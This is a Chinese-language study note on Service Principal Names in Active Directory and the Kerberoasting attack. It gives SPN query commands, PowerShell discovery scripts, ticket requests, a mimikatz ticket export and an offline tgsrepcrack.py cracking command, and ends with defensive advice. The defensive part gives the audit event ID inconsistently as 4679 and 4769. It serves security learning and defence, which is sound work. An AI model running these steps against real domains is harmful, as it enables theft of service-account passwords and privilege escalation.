郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
域环境中的 SPN
1 SPN 简介
Windows域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。在域环境中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主体名称(Service Principal Name, SPN)
在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkService、LocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是,如果在域用户下运行服务,则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。
1.1 SPN分类
当计算机加入域时,主 SPN 会自动添加到域的计算机账号的ServicePrincipalName 属性中。在安装新的服务后,SPN 也会被记录在计算机账号的相应属性中。
SPN 分为两种:一种注册在 AD 上机器帐户(Computers)下,也就是上面提到的内置账号,另一种注册在域用户帐户(Users)下
- 当一个服务的权限为 Local System 或 Network Service,则 SPN 注册在机器帐户(Computers)下。
- 当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。
2 SPN 扫描
SPN扫描也称为”扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大。
2.1 SPN 命令格式
SPN = serviceclass "/" hostname [":"port] ["/" servicename]
serviceclass:服务组件的名称
hostname:以”/”与后面的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机名和域名)。
port:以冒号分隔,后面的内容为该服务监听的端口号。
servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名。
# MSSQL 服务
MSSQLSvc/computer1.pentest.com:1443
# Exchange 服务
exchangeMDB/computer1.pentest.com
# RDP服务
TERMSRV/EXCAS01.pentest.com
# WSMan/WinRM/PSRemoting服务
WSMAN/EXCAS01.pentest.com
2.2 SPN 查询
# 查看当前域内所有的SPN
setspn -q */*
# 查找指定域的SPN:
setspn -T test.lab -q */*
2.3 Powershell 下的 SPN 扫描
PyroTek3/PowerShell-AD-Recon: PowerShell Scripts I find useful (github.com)
# 扫描域中所有的 MSSQL 服务
Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
# 扫描域中所有 SPN 信息
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices
3 SPN 扫描和破解TGS Tickets
注:域内任何主机都可以查询 SPN,但是真正攻击可利用的只有域用户下注册的 SPN, 本地用户不行
3.1 注册 SPN
# 手动注册
# 为 SQL Server 服务帐户注册 SPN
setspn -A MSSQLSvc/Win7.test.lab:1433 sqlsvc
# 查看用户所对应的 SPN
setspn.exe -L test.lab\sqlsvc
# SPN 查询所有票据
setspn -q */* | findstr "MSSQLSvc"
# 在 AD 上为用户 sqlsvc 指定服务登陆权限。
gpedit.msc -- 计算机配置 -- Windows 设置 -- 安全设置 -- 本地策略 -- 用户权限分配 -- 作为服务登录:添加相关用户
# 本地修改默认 Kerberos 会话密钥类型为 AES256_HMAC 无法通过tgsrepcrack.py 破解,需要将会话密钥改成 RC4_HMAC_MD5 才能利用脚本破解。
gpedit.msc -- 计算机配置 -- Windows 设置 -- 安全设置 -- 本地策略 -- 安全选项 -- 网络安全:配置 Kerberos 允许的加密类型
3.2 请求 SPN Kerberos 票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Win7.test.lab:1433"
# 查看缓存中的票据
klist
# 删除缓存票据
klist purge
3.3 导出 SPN Kerberos 票据
# 在 mimikatz 中执行:
kerberos::list /export
3.5 利用脚本离线破解票据中所对应的 NTLM Hash
python tgsrepcrack.py 1.txt "1-40a10000-test01@MSSQLSvc~Win7.test.lab~1433-TEST.LAB.kirbi"
3.4 SPN 中的 Kerberoast 攻击防范
- 确保服务账号密码为强密码(长度、随机性、定期修改)
- 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。
- 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。
- 许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。
- 在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。